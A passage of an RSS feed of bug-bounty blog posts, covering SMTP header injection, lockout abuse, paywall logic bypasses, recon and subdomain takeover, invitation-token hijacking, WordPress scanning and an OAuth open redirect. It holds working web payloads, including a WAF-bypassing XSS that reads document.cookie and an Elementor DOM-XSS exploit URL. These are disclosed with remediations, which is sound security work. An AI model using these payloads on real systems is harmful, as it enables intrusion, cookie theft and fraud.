charset=UTF-8\r\nContent-Transfer-Encoding: base64\r\n\r\nPGgxPkhleSB0aGVyZSEgVGhpcyBlbWFpbHMgY29udGFpbnMgPGk+SFRNTDwvaT4gbm93ITwvaDE+PCEtLQ==” and then the user2 is invited using invite users feature, the email content totally changed with subject as <strong>Phishing</strong> and ”<strong>Hey there! This emails contain HTML now!</strong>” as email content body.</p><p>( base64\r\n\r\nPGgxPkhleSB0aGVyZSEgVGhpcyBlbWFpbHMgY29udGFpbnMgPGk+SFRNTDwvaT4gbm93ITwvaDE+PCEtLQ== is base64 encoded form of &lt;h1&gt;Hey there! This emails contains &lt;i&gt;HTML&lt;/i&gt; now!&lt;/h1&gt;&lt;! — )</p><p>Example of SMTP Header Injection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*qcoMR8gdYbl6u-mA6700nw.png" /></figure><p>(Note: Assume that that there 200+ characters are allowed on organisation name or the length limit restriction has been bypassed)</p><p>Sometimes the email templates contains parameter values which are not controllable through UI, for such cases you can use burpsuite and see if the values reflecting in the email templates can be found in request parameters. If yes, you can manipulate parameter values and manipulate email content for mass users for the vulnerable sites.</p><p><strong>Impact</strong>: This feature can be leveraged to perform large-scall phishing operations. Malicious users can use this flaw in order to send arbitrary emails to large amounts of recipients, all coming from a valid, signed email from the official email of the site.</p><p><strong>Remediation</strong>: Validate that user input conforms to a whitelist of safe characters before placing it into email headers. In particular, input containing newlines and carriage returns should be rejected. Alternatively, consider switching to an email library that automatically prevents such attacks.</p><h3>Vulnerability 5: Overly Restrictive Account Lockout</h3><p>After a certain number of failed logins on a web application, the account lockout policy locks out the user for a certain amount of time which is a security feature. However, if the lockout is not configured properly , it can lead to a security vulnerability called Overly Restrictive Account Lockout that leads to denial of service for that particular user.</p><p>How to test for it?</p><p>Use your WiFi connection and make 50 unsucessful login attempts on a site using burpsuite intruder, lets assume that the username is vflexo, use a wordlist of 50 wrong passwords. If you see the error that your account has been locked then change your internet connection from WiFi to mobile hotspot and send a login request for the same user vflexo.</p><p>If the lockout error still persists even after changing the internet connection, it means that the lockout policy is only considering username in order to lockout login attempts.</p><p>Any attacker can launch infinite bruteforce againsts any user of the site and the user will never be able to login to the application due to misconfigured lockout policy. Even if the site-support unlocks the user account, it will be quickly locked again because an attacker is going to launch a bruteforce with wordlist of millions of passwords to make sure the user never logs in.</p><p>Below is the demonstration of this attack:</p><p>Step1: After multiple failed login attempts for user victimuser8@gmail.com through WiFi connection, account lockout was achieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p-BKvgMruChtdos4u7qXPw.png" /></figure><p>Step2: Internet connection changed to Mobile Hotspot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pxTFiIxBe8VVfYWM5l9IUA.png" /></figure><p>Step3: Request was repeated using WiFi but still it shows the lockout error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8yMIYUkYVz2Mj3qFyFcfdA.png" /></figure><p>Step4: Login attempt made for the user using UI through Mobile Hostpot connection still it shows lockout error confirming the vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*P9AKL5MJsqNNt85iH7dqEA.png" /></figure><p>Now the lockout policy is also not expected to take consideration only on the basis of IP because the attacker can use IP Rotators to bruteforce a user.</p><p><strong>Remediations</strong>:</p><ol><li>Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.</li><li>Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).</li></ol><p>Thats all for today, I hope you enjoyed reading and I’ll be releasing the part 2 of this writeup to share information about a few more vulnerabilities which are usually ignored by the bounty hunters and penetration testers.</p><p>Till then, stay tuned.</p><p>And yes! Clap for me if you enjoyed reading ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*_9O2hOrfxwawQV-r287jmw.gif" /></figure><p>See ya later!!!!!</p><p>-Vishal Aka vFlexo</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=187b35508e56" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Business Logic Errors on a Porn Site — $$$$ Bounty]]></title>
            <link>https://medium.com/@kshunya/business-logic-errors-on-a-porn-site-bounty-bceef1ddfc4b?source=rss-aa2870ad7c26------2</link>
            <guid isPermaLink="false">https://medium.com/p/bceef1ddfc4b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vapt]]></category>
            <dc:creator><![CDATA[Vishal Barot]]></dc:creator>
            <pubDate>Mon, 23 Oct 2023 15:21:31 GMT</pubDate>
            <atom:updated>2023-10-24T06:26:00.683Z</atom:updated>
            <content:encoded><![CDATA[<h3>Business Logic Errors on a Porn Site — $$$$ Bounty</h3><p>Hi Everyone,</p><p>I was getting bored on last saturday, so I invited one of my friend to my flat to join me for bug hunting.</p><p>The fun part is: THE TARGET WAS A WELL KNOWN PORN SITE.</p><p>It is a private program and they give good bounty for interesting security vulnerabilies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*VUyIDho2BcT2OLsy-jPsGA.gif" /></figure><p>We reported 3 Bugs, 1 XSS for which we bypassed the WAF using payload &lt;svg/onload=alert%26%230000000040document.cookie)&gt; and it gave an XSS pop-up bypassing cloudflare protection.</p><p>The other two bugs were Business Logic errors:</p><ol><li>Ability to Watch Unlimited Paid Porn in Full HD Quality , without paying anything.</li><li>Ability to control and put negative consumption rate on porn videos and makes the minutes last forever in your timebank.</li></ol><p>Lets discuss the first one…</p><p>While playing a porn video, we were getting a pop-up to purchase subscriptions(in form of minutes) to watch the videos. We intercepted the request and manipulated isPreview parameter’s value from false to true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2wxhCm4kvBYcZTKNiO6WOA.png" /></figure><p>And boom, the full length porn started playing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zad4bfY8mwOMr82Fg9jD8g.jpeg" /></figure><p>And we were like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*4dpqJBMNpauySVnwrRHhQw.gif" /></figure><p>The bug was immediately remediated and considered a critical vulnerability as it damages the main business logic of the porn site and allows anyone to watch all the HD full-length porn for free.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*xnaabRk9bWL36d1_lpezTQ.gif" /></figure><p>Now lets talk about the second bug.</p><p>We observed an API response where the consumptionRate for a porn video was mentioned in the API request in the one of the json parameter, its dafult value was 1.0 , we changed it to negative value -10 . And there was a consumptionRateConfirmationRequired Parameter whose default value was set to false, we changed in to true while intercepting response on burpsuite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*7bepXD2TPtPnjPbk3HMAOA.png" /></figure><p>When we forwarded the response, a new POST request was triggered with consumptionRate parameter value as -10.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*rLIH6dv2DwVhe86AZrN5zg.png" /></figure><p>And then, the consumption rate as a negative -10 was accepted by the application and the UI showed this message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*qjOdOUIwuo6XVL9szxdXWQ.png" /></figure><p>Hence, the minutes consumption rate on porn videos can be controlled using this vulnerability and one can use limited minutes in his timebank for a very very very long time.</p><p>The vulnerabilities are reported and accepted.</p><p>The company offered $$$$ bounty for the responsible disclosure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*lcnKOSvLydscKaa90ApytQ.gif" /></figure><p>I hope you enjoyed reading the write-up!! See ya later, white-hats.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bceef1ddfc4b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Ultimate Recon-book]]></title>
            <link>https://medium.com/@kshunya/the-ultimate-recon-book-d201d722db64?source=rss-aa2870ad7c26------2</link>
            <guid isPermaLink="false">https://medium.com/p/d201d722db64</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Vishal Barot]]></dc:creator>
            <pubDate>Sun, 16 Jul 2023 14:51:08 GMT</pubDate>
            <atom:updated>2023-07-16T15:05:55.023Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Hackers!</p><p>It’s been months since my last write-up, but no worries now I am back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*niof7_0uJr45A5oOYzgakQ.gif" /></figure><p>Today I will be sharing some recon methods that you may find useful in your day to day penetration testing activities and bug bounty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U8jBXfyChkToQyLeNGTDnQ.gif" /></figure><p>So let’s start with “<strong>Technology Enumeration</strong>”.</p><p>I really love this part, all we have to do is find the technologies information which are consumed by our target web applications. There may include plugins, CMS, SAAS services etc.</p><p>Once we know the technologies and once we are able to determine their version, it can be pretty easy to find out any vulnerabilities associated with the version of those technologies. There can be exploits publicly available that one can use to confirm the vulnerability, however not all exploits are straight forward. Exploiting some CVE depends on who the attacker is? Does he have some access to the system? Is he in the same network or not?. For example the vulnerability <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26596">CVE-2020–26596</a> is an Authenticated Remote Code Execution vulnerability in a wordpress plugin, hence it can only be exploited by someone who is already logged in to the wordpress account which is not very straight forward for an external attacker.</p><p>It is best not to rely on a single tool or method to enumerate the technologies. You can enumerate the subdomains of your target and you can install wappalyzer plugin in your browser and then open all those subdomains in the browser with a single hit by using url-opener.com. Once all the urls are properly loaded you can visit them one by one and with wappalyzer , you can check the technologies/components they are using.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zcz-jlWZGWJ8Fl14tkoAGw.png" /></figure><p>Next thing you can do it to collect the target urls and try to enumerate technologies using grep on those urls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BXB8L7zJ6RX3pld93qw-SQ.png" /></figure><p>In the above screenshot, it is evident that the target is using cpanel and wordpress. You can grep various other strings like jira, dashboard, login, jenkins etc. In the above screenshot you can see it is using wordpress at two different directories, one at target.com/wp-content and another at target.com/new/wp-content hence while using wpscan tool you can specify two scans for this same target at different directories to make sure you do not miss any vulnerabilities.</p><p>Know more about hunting vulnerabilities in wordpress sites: <a href="https://medium.com/@vflexo/how-to-effectively-hunt-for-vulnerabilities-in-wordpress-sites-f4c58d520b0f">https://medium.com/@vflexo/how-to-effectively-hunt-for-vulnerabilities-in-wordpress-sites-f4c58d520b0f</a></p><p>Now these technologies may be outdated and vulnerable. If you are not able to enumerate the version of these technologies through wapplyzer then try to run nuclei on the target, it can help. Also use shodan to find vulnerabilities and technologies in your targets.</p><p>You can find the organisation name in the SSL certificate info in your target domain/subdomain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TruoOrHUsJYSnEBdKB78Aw.png" /></figure><p>And you can use the organisation name in the shodan query to enumerate more targets associated with that organisation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R-XTZJjFp4005AUJDuuW-Q.png" /></figure><p>It also finds out technologies and vulnerabilities associated with the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9tIPzkh1hJJEguSy4pXtlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AnAbmN6cIaxyJwkImKF-LA.png" /></figure><p>Another wonderful tool you can use to enumerate technologies is builtwith.com (Limited access in free version) . You can enumerate all the sites which are using any spefic component/technology and you can also do the vice versa.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aExWqBsqvdZO054T9lC97w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KUBawWS4Lzwv0cCDQhVV4Q.png" /></figure><p>I think this much is enough on technology enumeration, now lets move to the other topic “<strong>Asset Discovery</strong>”. I have already explained how hidden assets can be enumerated using shodan, the other tool and my personal favourite is search.censys.io.</p><p>There can be many false positive results for your search hence always confirm once you start any security assessment on the target. You can confirm this by visiting the asset or by checking the Organisation name in SSL information. You can filter the results by putting a 200 after your target name if you specifically want to test HTTP sites with 200 OK as the response HTTP status code.</p><p>With shodan and censys, you may find other vulnerable services like FTP, SSH, vulnerable services running on custom HTTP ports. These services might be running an outdated version or they might be misconfigured so it is best to test these services.</p><p>You can refer book.hacktricks.xyz</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LRuKKmEyaQYXQ18ibH2eNQ.png" /></figure><p>The bigger is attack surface better are the chances that you’ll find something good. So according to the scope of your testing, if the target website accepts vulnerability reports for it’s acquisitions then use the below mentioned tools to enumerate the acquisitions.( Note that some of these tools are paid, free-trial of these tools won’t give complete information)</p><p><a href="https://tools.whoisxmlapi.com/">tools.whoisxmlapi.com</a></p><p><a href="https://www.crunchbase.com/discover/acquisitions">crunchbase.com/discover/acquisitions</a></p><p><a href="https://viewdns.info/">viewdns.info</a></p><p>tracxn.com</p><p>When you search for an aquisition, always check if the acquired company is the acquirer of some other company or not. This will increase your attack surface by miles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hyOCLVFzr5ichxo_Xe-0Jw.png" /><figcaption>Activision Blizzard was acquired by Microsoft</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R6jukTCUYFNLosTUjmT8Uw.png" /><figcaption>Activision Blizzard is the acquirer of multiple other organisations</figcaption></figure><p>If an organisation accept vulnerability reports for its acquisitions then it is possible that it is going to accept reports for the companies that are/were acquired by its acquisitions.</p><p>Once you collect the subdomains of all the organisations that belongs to you target and once you have information related to technologies that these assets are using, you already have an upper hand in the game.</p><p>The first thing that you can do is to check them for subdomain takeover. You can refer <a href="https://github.com/EdOverflow/can-i-take-over-xyz">https://github.com/EdOverflow/can-i-take-over-xyz</a> to confirm subdomain takeover for your target however I prefer checking each subdomain one by one for their status code and error and I try to google and find if it is possible to claim that subdomain using that particular service.</p><p>On Edoverflow’s page, the netlify service subdomain takeover was mentioned under “<strong>Edge Case</strong>” scenario. I was able to takeover a netlify hosted subdomain on a bug bounty program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AuH2rO7Sd843jEaCdsO9Wg.png" /><figcaption>EdoverFlow</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D7iV6Vx-iTC_DAMFhtOdag.png" /><figcaption>Subdomain Takeover of a Netlify hosted</figcaption></figure><p>Steps for effectively checking subdomain takeover :</p><ol><li>Find out all the acquisitions and enumerate subdomains using subfinder, amass, sublister, shodan &amp; censys (You can find domain name in SSL info).</li><li>Collect all subdomains in a single txt file and remove duplicates.</li><li>Run automated tools to check subdomain takeover like subzy, subjack, itsover.py etc.</li><li>Open all the urls in the browser with one click by using url-opener.com.</li><li>Check the urls with status code 404 and with the help of the error line try to confirm subdomain takeover. You can also use “ dig CNAME abc.site.com” command to confirm the same.</li></ol><p>6. If vulnerable, try to claim it.</p><p>I think this is all for today, don’t forget to like this write-up if you enjoyed reading it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*hfT0m7DtLvXLIPc3HsmVdQ.gif" /></figure><p>See ya later!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d201d722db64" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Invitation Hijacking]]></title>
            <link>https://medium.com/@kshunya/invitation-hijacking-4d6467f418cc?source=rss-aa2870ad7c26------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d6467f418cc</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Vishal Barot]]></dc:creator>
            <pubDate>Thu, 03 Nov 2022 16:03:58 GMT</pubDate>
            <atom:updated>2022-11-03T16:48:15.210Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Guys! Long time no see!</p><p>Lets discuss some easy catches that you guys might not want to ignore while doing security testing/ bug bounty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*Lh6-BdEJk2RnV-EkalI30Q.gif" /></figure><p>We have seen many sites with privileged users like member, admin , owner or viewer, editor, admin etc.</p><p>There are various ways through which an invitation might get sent to a new member but in most of the cases it would contain a token.</p><p>For example: <a href="https://example.com/team/clubwalterwhite/?invite_token=67fbhv7595bchfbf">https://example.com/team/clubwalterwhite/?invite_token=67fbhv7595bchfbf</a>ee33q</p><p>Now there are a few things you can do, those are:</p><ol><li>Check if the invitation token is coming on HTTP or HTTPs protocol.</li></ol><p>For example: If url is this <a href="https://example.com/team/clubwalterwhite/?invite_token=67fbhv7595bchfbf">http://example.com/team/clubwalterwhite/?invite_token=67fbhv7595bchfbf</a>ee33q sends an invitation token can be stolen by anyone who is in the same network and if the invitation token is not linked with the user-email for which it is created then it can lead to invitation hijack i.e attacker can add himself in the organization/group.</p><p>2. Check if the invitation token is getting leaked to untrusted third party sites.</p><p>3. Use the invitation token for another user by crafting a request with cookie/JWT of another user.</p><p>4. Use the token for IDOR techniques(If you see any User Identifier)</p><p>5. In the request if you see the group-name/organization name try to change it to some another organization and see if you can use this token to become member of some other group/organization.</p><p>6. Decode the token if it is generated using known algorithm and if you succeed then try to directly generate tokens for other users.</p><p>7. If the tokens are not generated using any known algorithm then try to read JavaScript files to see if the token generation/processing code(encode or decode) is mentioned somewhere in the code.</p><p>It is very important to follow all the security measures while implementing invitation mechanism. Otherwise, it can have dangerous consequences.</p><p>Btw.. the “Danger” word reminds me of this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/1*2799PalJPMRnBUXXWqpXfA.gif" /></figure><p>Now let&#39;s talk about what I have found very recently.</p><p>On the target site I created two accounts for the organization let&#39;s say “Heisenberg”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*Jp2EX1j_f3mhh6DXyWL3MQ.gif" /></figure><p>One of the 2 users is admin another is member.</p><p>Now the member user cannot invite more members to the organization, only an admin can do that.</p><p>Member user panel:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y9B02Au3jcMjFZ2nzrTqPQ.png" /></figure><p>Admin user panel:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xoHem8bvCntykwWo6Zd0vw.png" /></figure><p>Now I sent invite to one of email vflexobughunting@gmail.com, copied the invitation link and opened it in new window. It showed me the panel shown below and instead of the email to which I sent the invitation I wrote some other email(barotvbvishal@gmail.com). In simple words I tried to use the invitation link of vflexobughunting@gmail.com for barotvbvishal@gmail.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*58gRAuc7VsLHKEofcKal2w.png" /></figure><p>Surprisingly it sent the magic invitation link to the email which was not supposed to be linked with the invitation token at the very first place(barotvbvishal@gmail.com).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*i8pYjpJRhbRTFf5TjykFjw.png" /></figure><p>I went to the new email that I mentioned and used magic link and then got myself added to the “Heisenberg” organization from email barotvbvishal@gmail.com who never received any invitation to join the organization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*nL3rZh-9iBSLW2HqVj9sDQ.gif" /></figure><p>I used the same invitation token to add many other emails as well, which is another vulnerability. Technically the token should expire once it has been used.</p><p>In the below screenshot you can see I added multiple members using same token:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H7x2RiobJAniWWAS1Ojj5Q.png" /></figure><p><strong>Impact: </strong>The token here is not linked with the email it got generated for. Which allows the member to distribute to token with other people allow them to add themselves in the organization. Technically the Member user cannot add more people to the organization only Admin can (As there is no “invite-user” functionality in Member user panel). But through this vulnerability member user can indirectly add new users to the organization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*8poauzDXDmYwryi5d5dvIA.gif" /></figure><p><strong>Remediation:</strong></p><ol><li>Invitation tokens should be properly linked with their respective users(email).</li><li>Invitation tokens must not be re-used.</li></ol><p><strong>Status of the vulnerability submission: </strong>Triaged</p><p><strong>Moral of the day:</strong> Do never forget to check invitation tokens</p><p>I hope you guys liked reading this. :)</p><p>See ya soon!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d6467f418cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to effectively hunt for vulnerabilities in Wordpress Sites]]></title>
            <link>https://medium.com/@kshunya/how-to-effectively-hunt-for-vulnerabilities-in-wordpress-sites-f4c58d520b0f?source=rss-aa2870ad7c26------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4c58d520b0f</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[wpscan]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[wordpress]]></category>
            <dc:creator><![CDATA[Vishal Barot]]></dc:creator>
            <pubDate>Tue, 24 May 2022 13:30:31 GMT</pubDate>
            <atom:updated>2022-05-25T05:02:19.145Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Sleepyheads! Miss me?</p><p>Hehe!!!</p><p>Today is the day when I am going so share some tricks that may end up helping you earn $$$$ bounties.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/213/1*KcBIOFGxyIw-Kkl2lUaW7Q.gif" /></figure><p>Wordpress is very famous for it’s plugins and themes and at the same time it is very infamous for the vulnerabilities that these plugins and themes bring with them.</p><p>We have some browser plugins like Wappalyzer that helps us knowing if a site is running on wordpress:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*CS5eHl0L1BsntyL7YxG4FA.png" /></figure><p>At the same time it also gives us a bit of insight about the wordpress plugins the site is using:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*fwUTf7mDPaQGfJW4cicYuA.png" /></figure><p>Sometimes it provides us the version information about the wordpress and plugins, sometimes it doesn’t.</p><p>But lemme tell you, I don’t completely rely on wappalyzer.</p><p>The CLI tool that I use the most for finding wordpress vulnerabilities is wpscan.( You can install it from here: <a href="https://github.com/wpscanteam/wpscan">https://github.com/wpscanteam/wpscan</a>).</p><p>Here is the command to run wpscan:</p><p>wpscan — url <a href="https://redacted.com/news/artcile/wp-content">https://redacted.com</a> -e vp — api-token YOUR_API_TOKEN — random-user-agent — ignore-main-redirect — force — disable-tls-checks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tU11hKKlxQIh_MyBCbA_kQ.png" /></figure><p>You have to create an account on <a href="https://wpscan.com/">https://wpscan.com/</a> to get your free API-Token.</p><p>Sometimes, it is not necessary the wordpress has been hosted on the main site or on the root directory.</p><p>It might have been hosted like this:</p><p>https://redacted.com/blog/wp-content</p><p>or</p><p>https://redacted.com/news/articles/wp-content</p><p>Most of the hackers only checks if wordpress is hosted on the main site or not but we also have to check the potential paths.</p><p>To find such endpoints, we can use the tools waybackurls and httpx.</p><p>The command would be:</p><p>waybackurls zerodha.com | grep “wp-content” | httpx -mc 200</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KN2Urp9a2fGz1Hw9LElIvQ.png" /></figure><p>(Along with waybackurls , use gau, gauplus etc. This may end up providing you different results)</p><p>Now once we have the specific endpoint we can again use wp-scan modifying the command. For the case mentioned above, the command would be like this:</p><p>wpscan — url https://zerodha.com/varsity -e vp — api-token YOUR-API-TOKEN — random-user-agent — ignore-main-redirect — force — disable-tls-checks</p><p>If the wp-content directory is in the main directory like this “https://redacted.com/wp-content”, then you can use the command normally without specifying the specific directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JW95HNSA8U838rmXrJvAXw.png" /></figure><p>Sometimes it may show error that the tool cannot find wp-content directory. In such situation it is better to specify the directory and use command like this:</p><p>wpscan — url https://redacted.com/news/artcile/wp-content — wp-content-dir -e vp — api-token YOUR_API_TOKEN — random-user-agent — ignore-main-redirect — force — disable-tls-checks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LsmVbIiO5djYGhLP29ibSQ.png" /></figure><p>This may end up showing you vulnerabilities like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wdv2vLdf9Hfje0lw8YVF6g.png" /></figure><p>All you have to do now, is to verify which of these vulnerabilities are exploitable and which are not. For example in the above results you can see most of these vulnerabilities due to outdated elementor plugin are authenticated-vulnerabilities. In order to exploit them one needs to be authenticated on wordpress panel. Hence, as an external attacker, these vulnerabilities would be not applicable.</p><p>However the last in the list (Elementor &lt; 3.4.8 — DOM Cross-Site-Scripting (CVE-2021–24891)) can be exploitable.</p><p>All you need to do is to search for it’s exploit. In this case the exploit is very simple. You have to add /#elementor-action:action=lightbox&amp;settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9 in your target wherever the wp-content begins and load the url:</p><p>Like this:</p><p>https://redacted.com/blog/#elementor-action:action=lightbox&amp;settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9</p><p>It would give you a cute little pop-up like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ddU9ib3Gv5OwEApABjujCw.png" /></figure><p>For different wordpress vulnerabilities, we have different exploits. You just need to find them.</p><p>The same way you can exploit vulnerable themes. All you need to do is to replace vp with vt in the wpscan command like this:</p><p>wpscan — url https://redacted.com/blog -e vt — api-token YOUR-API-TOKEN — random-user-agent — ignore-main-redirect — force — disable-tls-checks</p><p>Let’s reveal one more secret:</p><p>I don’t completely trust wpscan because sometimes it fails detecting plugins/themes version. Also, sometimes the tool may miss displaying some plugins/themes that are actually being used. For these reasons, I always check for view-source and search keyword “/plugins” and “/themes” in the source on different paths of the wordpress site. Sometimes wpscan misses detecting some plugins and themes. This technique may help in such cases.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0HE_fdMlevJgsL6wnTf2xA.png" /></figure><p>Now once you have the plugin/theme name you can simple google “wp-user-avatar wpscan”, “elementor wpscan” etc to find exploits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gg5nTQ1L9qAT8L6OWdVuzQ.png" /></figure><p>Even if you don’t have any clue about the plugin/theme, it is always good to give a shot to the exploits anyway.</p><p>It is always good to use multiple techniques of enumerating plugins/technologies instead relying on a single tool.</p><p>I used these techniques and it helped me a lot. Good recon is the real magic :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*MArjFRdO3gtN3MSLTw2unA.gif" /></figure><p>In order to find wp-content directories even more efficiently, you can also use tools like FFUF.</p><p>I tried to keep this write-up as simple as I can. Feel free to share your opinions/queries in the comment-section.</p><p>I hope you enjoyed reading as this is MY LAST WRITE-UP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*TVOvZBPrKxeG7UveqPbwVQ.gif" /></figure><p>JUST KIDDING :P</p><p>“WHY SOOOOOOO SERIOUSSSSS?”</p><p>See ya! Hackers :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4c58d520b0f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Full Account Takeover via Open Redirection]]></title>
            <link>https://medium.com/@kshunya/full-account-takeover-via-open-redirection-41c167db46?source=rss-aa2870ad7c26------2</link>
            <guid isPermaLink="false">https://medium.com/p/41c167db46</guid>
            <dc:creator><![CDATA[Vishal Barot]]></dc:creator>
            <pubDate>Sun, 17 Apr 2022 12:02:54 GMT</pubDate>
            <atom:updated>2022-04-20T10:06:46.763Z</atom:updated>
            <content:encoded><![CDATA[<p>Hacking ! Hacking ! Hacking! I don’t like it. I avoid.</p><p>But Hacking likes me ! I can’t avoid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*9VRPLSG7SkWySTsowEhLQQ.gif" /></figure><p>Hello Guys! It’s Sunday so let me tell you a story.</p><p>The story of cruel exploitation of an Open Redirection vulnerability.</p><p>“Khoon se likhi hui kahani hai.<br> Syahi se nahi badhegi.<br> Agar aage badhana hai,<br> To fir se khoon hi mangegi.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*SSirlio9H75q0Bp87-_4cA.gif" /></figure><p>I found an open redirection vulnerability then I decided to check if I can exploit it further as I found this open redirection on Google O-auth.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*YgWRNUwCqwIX-iqd2oa5_g.gif" /></figure><p>I will not reveal the site name so I am going to call the site redacted.com.</p><p>The O-auth url was like this:</p><p>https://redacted.com/login?action=login&amp;state=29f16a7e5c6f2b9970450b14a30f59d4&amp;scope=&amp;response_type=code&amp;approval_prompt=auto&amp;redirect_uri=https://app.redacted.com/auth/oauthCallback&amp;client_id=4jivia3ebm9mbpcj22i2n29pdi</p><p>In the redirect_uri parameter, I injected <a href="https://tinder.com./">https://tinder.com.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*gf6fzLs27um9S0tMpyfvlA.gif" /></figure><p>Like 